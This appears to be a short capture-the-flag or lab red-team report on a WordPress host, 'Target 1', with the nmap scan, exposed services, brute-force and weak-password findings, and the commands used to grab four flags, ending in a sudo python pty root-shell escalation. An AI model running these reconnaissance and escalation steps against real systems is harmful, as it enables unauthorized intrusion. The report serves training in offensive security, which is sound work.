Offensive Report

Red Team: Summary of Operations

Table of Contents

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
$ nmap ... -sV -oN namp_scan.txt 192.168.1.0/24
```

NMAP Scan Output

This scan identifies the services below as potential points of entry:

- Target 1
  - Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    - Port 22 OpenSSH 6.7p1
    - Port 80 HTTP Apache httpd 2.4.10 (Debian)
    - Port 111 RPCBind 2-4 (RPC #1000000)
    - Port 139 NetBios-SSN Samba smb 3.X - 4.X (workgroup: Workgroup)
    - Port 445 NetBios-SSN Samba smb 3.X - 4.X (workgroup: Workgroup)

The following vulnerabilities were identified on each target:

- Target 1
  - Word Press Enumartion
    - Scan Output

    - Brute Force
    - Weak and Insecure Passwords

Exploitation

The Red Team was able to penetrate `Target 1` and retrieve the following confidential data:

- Target 1
    - `flag1{b9bbcb33e11b80be759c4e844862482d}`:

```
cd /var/www/html
grep -r flag
```

- `flag2{fc3fd58dcdad9ab23faca6e9a36e581c}`:

```
cd /var/www
cat flag.txt
```

- `flag3{afc01ab56b50591e7dccf93122770cd2}`:

```
mysql -u root -p
use wordpress
select * from wp_posts
```

- `flag4{715dea6c055b9fe3337544932f2941ce}`:

```
ssh steven@192.168.110
sudo python -c 'import pty;pty.spawn("/bin/bash");'
```

Revision #1
Created 2025-12-08 18:17:30 UTC by David Rizzo
Updated 2025-12-08 18:17:31 UTC by David Rizzo